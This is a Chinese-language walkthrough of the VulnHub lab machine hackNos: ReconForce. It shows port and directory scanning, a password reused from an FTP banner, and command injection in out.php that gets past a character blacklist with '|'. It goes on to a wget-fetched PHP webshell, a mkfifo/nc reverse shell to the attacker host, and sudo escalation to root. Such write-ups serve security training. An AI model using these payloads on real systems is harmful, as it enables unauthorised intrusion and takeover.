OS-HACKNOS-2.1

HACKNOS: RECONFORCE (V1.1)

目录

• • HACKNOS: RECONFORCE (V1.1)
• 1 信息收集
  • 1.1 端口扫描
  • 1.2 ftp分析
  • 1.3 后台目录扫描
    • 1.2.1 目录分析
• 2 Web-Shell利用
  • 2.1 尝试命令执行
  • 2.2 反弹Shell
  • 2.4 切换python Shell
• 3 提权
  • 3.1 收集当前系统信息
  • 3.2 切换用户
  • 3.3 收集recon信息
  • 3.4 sudo 提权

下载地址：hackNos: ReconForce (v1.1) ~ VulnHub

1 信息收集

1.1 端口扫描

$ nmap -A -p - -T4 192.168.56.104 -oA RECONFORCE
Nmap scan report for 192.168.56.104
Host is up (0.00080s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6f:96:94:65:72:80:08:93:23:90:20:bc:76:df:b8:ec (RSA)
|   256 6f:bb:49:1a:a9:b6:e5:00:84:19:a0:e4:2b:c4:57:c4 (ECDSA)
|_  256 ce:3d:94:05:f4:a6:82:c4:7f:3f:ba:37:1d:f6:23:b0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Recon_Web
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 ftp分析

# ftp目录下没有东东
$ ftp Anonymous@192.168.56.104
Connected to 192.168.56.104.
220 "Security@hackNos".
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||38126|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        117          4096 Jan 06  2020 .
drwxr-xr-x    2 0        117          4096 Jan 06  2020 ..
226 Directory send OK.

1.3 后台目录扫描

$ dirsearch -u http://192.168.56.104/
Target: http://192.168.56.104/

[11:16:55] Starting:
[11:17:07] 301 -  314B  - /css  ->  http://192.168.56.104/css/
[11:17:10] 200 -  660B  - /index.html

Task Completed

1.2.1 目录分析

1. http://192.168.56.104/5ecure/存在基础认证。

2. 结合ftp所给的提示，尝试使用admin:Security@hackNos登录，成功认证。

   

3. 尝试输入127.0.0.1执行ping操作

   

2 Web-Shell利用

2.1 尝试命令执行

1. 在http://192.168.56.104/5ecure/认证后的页面中，利用BurpSuite测试命令注入

   POST /5ecure/out.php HTTP/1.1
   Host: 192.168.56.104
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
   Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   Accept-Encoding: gzip, deflate
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 32
   Origin: http://192.168.56.104
   Authorization: Basic YWRtaW46U2VjdXJpdHlAaGFja05vcw==
   Connection: close
   Referer: http://192.168.56.104/5ecure/
   Upgrade-Insecure-Requests: 1
   DNT: 1
   Sec-GPC: 1
   
   ip=127.0.0.1|id&Submit=Ping_Scan
   

   • 成功实现命令注入：

     HTTP/1.1 200 OK
     Date: Mon, 04 Apr 2022 11:44:15 GMT
     Server: Apache/2.4.41 (Ubuntu)
     Content-Length: 67
     Connection: close
     Content-Type: text/html; charset=UTF-8
     
     <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
     </pre> 
     
     

2. 查看当前目录下的文件

   // 命令：
   ip=127.0.0.1|ls&Submit=Ping_Scan
   
   //当前目录下的文件
   css
   index.html
   logo.png
   out.php
   

3. 查看out.php源码，可知当使用|cmd时可以绕过限制

   # 命令：
   ip=127.0.0.1|cat+out.php&Submit=Ping_Scan
   <?php
   # `out.php`源码
   if( isset( $_POST[ 'Submit' ]  ) ) {
       // Get input
       $target = trim($_REQUEST[ 'ip' ]);
   
       // Set blacklist
       $substitutions = array(
           '&'  => '',
           ';'  => '',
           '| ' => '',
           '-'  => '',
           '$'  => '',
           '('  => '',
           ')'  => '',
           '`'  => '',
           '||' => '',
       );
   
       // Remove any of the charactars in the array (blacklist).
       $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
   
       // Determine OS and execute the ping command.
       if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
           // Windows
           $cmd = shell_exec( 'ping  ' . $target );
       }
       else {
           // *nix
           $cmd = shell_exec( 'ping  -c 4 ' . $target );
       }
   
       // Feedback for the end user
       echo "<pre>{$cmd}</pre>";
   }
   
   ?>
   

2.2 反弹Shell

1. 在目标系统中，利用命令注入下载一句话木马

   # 下载一句话木马
   ip=127.0.0.1|wget+"http://192.168.56.1/webshell.php"&Submit=Ping_Scan
   
   #查看所下载的一句话木马
   ip=127.0.0.1|cat+webshell.php&Submit=Ping_Scan
   # 回显结果
   <?php system($_POST['acmd']);?>
   

2. 构造如下请求反弹shell

   POST /5ecure/webshell.php HTTP/1.1
   Host: 192.168.56.104
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
   Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   Accept-Encoding: gzip, deflate
   Authorization: Basic YWRtaW46U2VjdXJpdHlAaGFja05vcw==
   Connection: close
   Upgrade-Insecure-Requests: 1
   DNT: 1
   Sec-GPC: 1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 120
   
   acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.56.102+2333+>/tmp/getshell
   

3. 成功反弹shell

   $ nc -nvlp 2333
   listening on [any] 2333 ...
   connect to [192.168.56.102] from (UNKNOWN) [192.168.56.104] 36560
   /bin/sh: 0: can't access tty; job control turned off
   $ python3 -c "import pty;pty.spawn('/bin/bash')"
   www-data@hacknos:/var/www/recon/5ecu
   

2.4 切换python Shell

python3 -c "import pty;pty.spawn('/bin/bash')"

3 提权

3.1 收集当前系统信息

1. 查看当前系统的cap权限设置

   www-data@hacknos:/tmp$ getcap -r / 2>/dev/null
   /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
   /usr/bin/mtr-packet = cap_net_raw+ep
   /usr/bin/ping = cap_net_raw+ep
   /usr/bin/traceroute6.iputils = cap_net_raw+ep
   

3.2 切换用户

1. 查找半天也没有什么思路，突然想到，是否可以使用ftp提示的密码登录recon账户呢？

   www-data@hacknos:/var/www/recon/5ecure$ su - recon
   Password: Security@hackNos
   
   recon@hacknos:~$ id
   uid=1000(recon) gid=119(docker) groups=119(docker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lxd)
   

3.3 收集recon信息

1. 得到recon用户的flag

   recon@hacknos:~$ cat user
   cat user.txt
   ###########################################
   
   MD5HASH: bae11ce4f67af91fa58576c1da2aad4b
   

2. 查看sudo权限：拥有所有权限

   recon@hacknos:~$ sudo -l
   [sudo] password for recon: Security@hackNos
   
   Matching Defaults entries for recon on hacknos:
       env_reset, mail_badpass,
       secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
   
   User recon may run the following commands on hacknos:
       (ALL : ALL) ALL
   

3.4 sudo 提权

recon@hacknos:~$ sudo -i
root@hacknos:~# cat root.txt
     $$\          $$$$$$$\
     \$$\         $$  __$$\
$$$$\ \$$\        $$ |  $$ | $$$$$$\   $$$$$$$\  $$$$$$\  $$$$$$$\
\____| \$$\       $$$$$$$  |$$  __$$\ $$  _____|$$  __$$\ $$  __$$\
$$$$\  $$  |      $$  __$$< $$$$$$$$ |$$ /      $$ /  $$ |$$ |  $$ |
\____|$$  /       $$ |  $$ |$$   ____|$$ |      $$ |  $$ |$$ |  $$ |
     $$  /        $$ |  $$ |\$$$$$$$\ \$$$$$$$\ \$$$$$$  |$$ |  $$ |
     \__/         \__|  \__| \_______| \_______| \______/ \__|  \__|

MD5HASH: bae11ce4f67af91fa58576c1da2aad4b

Author: Rahul Gehlaut

WebBlog: www.hackNos.com

Twitter: @rahul_gehlaut